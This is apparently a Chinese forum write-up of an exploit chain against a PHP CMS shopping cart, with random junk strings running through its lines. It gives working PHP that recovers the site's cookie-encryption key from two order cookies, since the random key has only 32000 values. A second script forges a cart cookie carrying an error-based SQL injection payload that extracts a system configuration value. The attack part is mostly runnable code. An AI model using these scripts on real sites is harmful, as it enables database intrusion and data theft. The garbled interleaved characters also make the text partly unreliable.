www.xxx.com/plus/search.php?keyword=
* g& D) S2 X8 Q6 `9 P L7 W在 include/shopcar.class.php中/ C- s% x3 d# W" d
先看一下这个shopcar类是如何生成cookie的' ~1 J/ M0 Q& k( B# ^7 c! Y
239 function saveCookie($key,$value)
/ c& s3 J" M* r. _4 ?. i240 {6 N& F) P) B/ z; H2 P$ s
241 if(is_array($value))- ^7 F" j8 n1 _- V7 ~. J }- x5 ]
242 {. w& h/ K. |/ o p' E: L9 U4 |, X
243 $value = $this->enCrypt($this->enCode($value));- i. `$ O _5 c- R% W
244 }
3 h; ?) n% r3 [4 V245 else! m2 t: C8 J% }) z! V' }
246 {# }/ G$ l! c4 K
247 $value = $this->enCrypt($value);
4 G0 G' `5 W$ O& Q# w N7 ~9 S248 }, X$ s7 p) e9 D! x# x7 V* e; }
249 setcookie($key,$value,time()+36000,’/');
& a" j9 ^8 e$ I, ~$ T250 }" K' o/ U- z' h6 R3 u
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
7 c- Z. `; Q" |) z% c186 function enCrypt($txt)& _! b1 ?( k9 t) m
187 {
8 m+ P" j' u- v+ i188 srand((double)microtime() * 1000000);
1 { Z% d: Y' O" x) v189 $encrypt_key = md5(rand(0, 32000));
+ K3 S- s# G0 @190 $ctr = 0;# y( B, j8 C5 X9 C% s6 Y( M
191 $tmp = ”;6 B7 f: \9 Q. O6 H' z' |0 N* z# u7 i
192 for($i = 0; $i < strlen($txt); $i++). a0 Z& r; D2 z/ z
193 {* q2 b! a' I7 I& n' L1 Y' D0 `
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;& w& J/ d( A. p/ s9 ^
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
1 C# q0 ~" F7 }196 } M9 _2 {+ Q- T! B9 X1 ?
197 return base64_encode($this->setKey($tmp));) P( d& {5 H! H$ V) |' m
198 }* V) z% Q* m/ i! c+ I
213 function setKey($txt)9 h6 b0 h7 l9 y- @$ A2 ~& C
214 {$ g: S6 ~0 _$ c
215 global $cfg_cookie_encode;' _5 x% w7 D( u V
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
2 @$ T* _7 q! l217 $ctr = 0;
0 N( @* u. Y5 N% N3 s" \$ V7 X218 $tmp = ”;5 ]! J4 i2 b. E, `- `
219 for($i = 0; $i < strlen($txt); $i++)4 x7 R. a: Z: R( G. K5 T! u1 q$ q
220 {
, [/ W: ?* r: \0 q3 L221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
7 b& W, J6 q% V5 X; F5 G4 k222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];: _" ^' U( _* C* v; Z$ Z
223 }
3 ]. E7 n* E0 j' ]" k224 return $tmp;" p/ q$ X0 [( [
225 }$ B0 T/ o5 M' X$ R
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的) J/ J# y/ c' o, N3 `
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。1 y9 X' Y* E1 a0 y
具体代码如下:
^! \3 M/ q, J) k1 c. b+ @, r3 H5 k<?php
" t' c8 {8 ?4 u U3 v5 s! X$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here+ c2 u6 s# z* M8 S% f& y+ |8 t
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
$ c* z* L5 x$ m! |$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here7 y# B2 f( w! _2 g4 B
function reStrCode($code,$string)
h' _& C! F" K2 j2 \{
# ]& t; e* `7 [: O8 K9 ]6 ~$code = base64_decode($code);% E8 I* u4 V8 s3 C* r S/ H2 o% t
$key = “”;
1 I8 \5 z6 i; d- m1 y; gfor($i=0 ; $i<32 ; $i++)
9 u, n! O2 ]. K$ t4 M{
2 z+ `. a" J! _2 f, m$key .= $string[$i] ^ $code[$i];
; C5 F2 u3 o1 S$ f}
# a( v. d1 _$ P+ A% i7 K5 H3 o/ Dreturn $key;3 H7 p2 R0 E+ w8 e. K2 s" }; P
}5 a0 l# _. ~. ]; @
function getKeys($cookie,$plantxt); Q8 x$ d1 Q# w$ M
{, ~2 \" ?( |4 \5 y; W
$tmp = $cookie;0 U7 W7 g9 `' ^8 I' Q8 `7 k
$results = array();! h7 p1 u6 r6 o$ o6 N* O6 {
for($j=0 ; $j < 32000; $j++)
* ^* R/ k/ G2 s7 b& f{, O* P& A, s2 G* X
1 @6 W5 e, m* d+ u. `$txt = $plantxt;& o: R9 d5 C, J3 T3 R, D$ l C2 l; @
$ctr = 0;
: P5 K5 u4 i ?2 a( L7 C$tmp = ”;
4 O: ~: {5 Z( c2 t$encrypt_key = md5($j);
- ]1 U; ]6 a3 J. p: y: t" ]for($i =0; $i < strlen($txt); $i ++)
+ u) q% o4 |) V{
1 v/ s* V' `3 C: `; i6 r$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
+ z T! O3 t6 i6 k- M& M$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);7 _' A: N$ t' O5 \
}
* ~- @+ E7 {+ s! S/ w3 Z x$string = $tmp;
3 l m2 _# S5 P9 D+ y. ~$code = $cookie;. b+ H, q) n* J& D4 K& a. ], n( Q
$result = reStrCode($code,$string);$ j9 e' e$ F0 J% _* o
if(eregi(‘^[a-z0-9]+$’,$result))/ ^, O- L& \* {5 w- v0 A
{8 n4 P" C* B1 [" T7 Q
echo $result.”\n”;
# F, S, v: L6 F$ z$results[] = $result;* \* x* H+ [% d( r( X4 Z1 _
}1 q( w2 S" S: K! H# k+ [
}0 j% P6 G; `+ a+ g: X( k" L; O
return $results;' @, p* s# L m$ c
}- D. ^7 q0 Z2 |1 o3 M" O+ l
$results1 = getKeys($cookie1,$plantxt);
) A5 W" k: X" S( p* t* }0 {8 u$results2 = getKeys($cookie2,$plantxt);
5 |1 U2 F) f, J1 w; C" Rprint “\n——————–real key————————–\n”;3 k9 N' E" m! g
foreach($results1 as $test1)
0 l" w. F- ^ l# }9 F1 {{
7 S ~! Z. v( N) F7 wforeach($results2 as $test2)
$ c; T& y h. y{
& v' }3 d. O- pif($test1 == $test2)/ c9 K; z& w% v0 W- j
{
; `0 i. W+ Y/ {* }echo $test1.”\n”;
1 n! m x7 y2 P6 d0 l}6 ~ m( L5 K. K' L; A! u* [/ n
}& }. e; n+ S. O3 b
}
6 R+ c/ R7 y2 K?>7 j4 i5 ~. B; p" U) E
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,& c# ]* S/ C( P) Q& R$ |! }+ w
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
9 X4 g* J0 m/ l然后推算出md5(strtolower($cfg_cookie_encode)): j c* @; |$ f) Z) Q0 Q
得到这个key之后,我们就可以构造任意购物车的cookie
& w) A! g @ `9 f; s+ K接着看
5 N7 R. r8 i3 F20 class MemberShops
6 d5 T1 J* \% u* b* x% C6 F( \21 {
: }! m& u' H$ n- M" n) H4 I22 var $OrdersId;
* |3 E9 r( {# b4 N, F: o23 var $productsId;( V& E. n: v/ @ T: x9 B1 L
24
% k0 u9 h" Z; V) T. y2 f1 o25 function __construct()/ }% p2 L$ X6 x0 X4 j
26 {3 u0 T3 m3 t7 @ V5 I
27 $this->OrdersId = $this->getCookie(“OrdersId”);; D6 s2 |+ R' v. H0 o
28 if(empty($this->OrdersId))& B% }- ^" Z' n' j. o: R8 y/ t: x
29 {4 L2 [7 R5 w3 X. {, s
30 $this->OrdersId = $this->MakeOrders();
& B8 U, F D% L# c31 }
: Z. I6 f6 n) `1 `: V; k32 }
) u* H+ T9 w$ ~0 N; A, g发现OrderId是从cookie里面获取的6 l3 B! X0 K* h8 R5 d2 T) U4 i
然后5 u6 {& |5 f9 A; k; h3 w/ O4 g+ w, C
/plus/carbuyaction.php中的
, e7 m+ x. q+ K( n5 d) X6 `4 k c29 $cart = new MemberShops();
# g! R/ }/ `' r6 S$ v. p% R$ K& r39 $OrdersId = $cart->OrdersId; //本次记录的订单号
. V$ g* H# {3 n2 B……" r% C# v# t: z& W8 W0 M( L9 W/ z
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);3 ]+ W/ `! W( O
接着我们就可以注入了$ c. n7 Q2 k. o" ]
通过利用下面代码生成cookie:
/ s* U2 C' E) O1 d6 Y<?php) {2 F% ~& S; P6 u: ^
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
t G( j; B5 L: c3 _0 N, _0 ]$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
+ u* x0 Q" ?$ }* g. [/ @1 Tfunction setKey($txt)- t! X1 T# V% b5 ]% S# a( W0 y
{
|; v3 G9 a& iglobal $encrypt_key;
/ `" ]! H- ]- v9 r9 { O1 W$ctr = 0;1 o" m; Z! \9 j ~1 p+ k; Z
$tmp = ”;' ]! b) B2 N" ~# |1 } t0 i! n) a; V
for($i = 0; $i < strlen($txt); $i++)
, e( o3 |2 m/ \+ ~' o# c{& p6 {; d) `/ W7 C5 q
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;* T9 K. B3 u# t5 b5 I# e2 V
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
+ |) w5 l8 R$ f+ U3 K}
+ T* R5 [# ?. Y/ R' r2 \return $tmp;& K! D& Z: S; g4 g
}
1 n* C7 P& c* q; M' o9 L% I, }3 ?( vfunction enCrypt($txt)0 |3 q' W A& P& X6 u" M( a* F7 C7 U* G
{! l& i! I1 Y( l- }9 |
srand((double)microtime() * 1000000);
' L# k# ?8 {. x% g p$encrypt_key = md5(rand(0, 32000));
% a8 c' L9 Q) i; d$ctr = 0;
1 a) A7 e6 a* X2 T* R3 k1 q7 L7 |$tmp = ”;
$ k& u: I" Y7 Q4 r2 ]! r* m) jfor($i = 0; $i < strlen($txt); $i++)4 p1 |/ c( A; P5 c" r
{7 v2 w) q/ r2 t: i
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# I; v, s' |& R, Q4 \. q3 a$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
9 |, @3 p& }4 q5 A, Y}
0 C. S1 j7 @4 K# oreturn base64_encode(setKey($tmp));6 m: b. h! H! \1 O% z
}
4 \# J3 Z* r8 \for($dest =0;$dest = enCrypt($txt);)
: u2 L7 b N/ |5 O3 p1 P1 z- W2 r* \{
# `/ c& a1 B! X. j% K% E" m+ \if(!strpos($dest,’+'))
0 [6 w; G0 `6 k) h{
8 u2 A4 _1 ]5 abreak;9 w: M% U! W- \$ j" Y; L
}1 J( e; ]: x2 h( [5 w4 U& b
}
& t9 O$ p! s( w; q7 [' [echo $dest.”\n”;
% D) c" z+ ]2 V$ S: @6 W?>
* z3 v5 A, r' ]: O' }9 [4 I
& n+ F4 r+ {; l8 @( A- Q+ Y# C |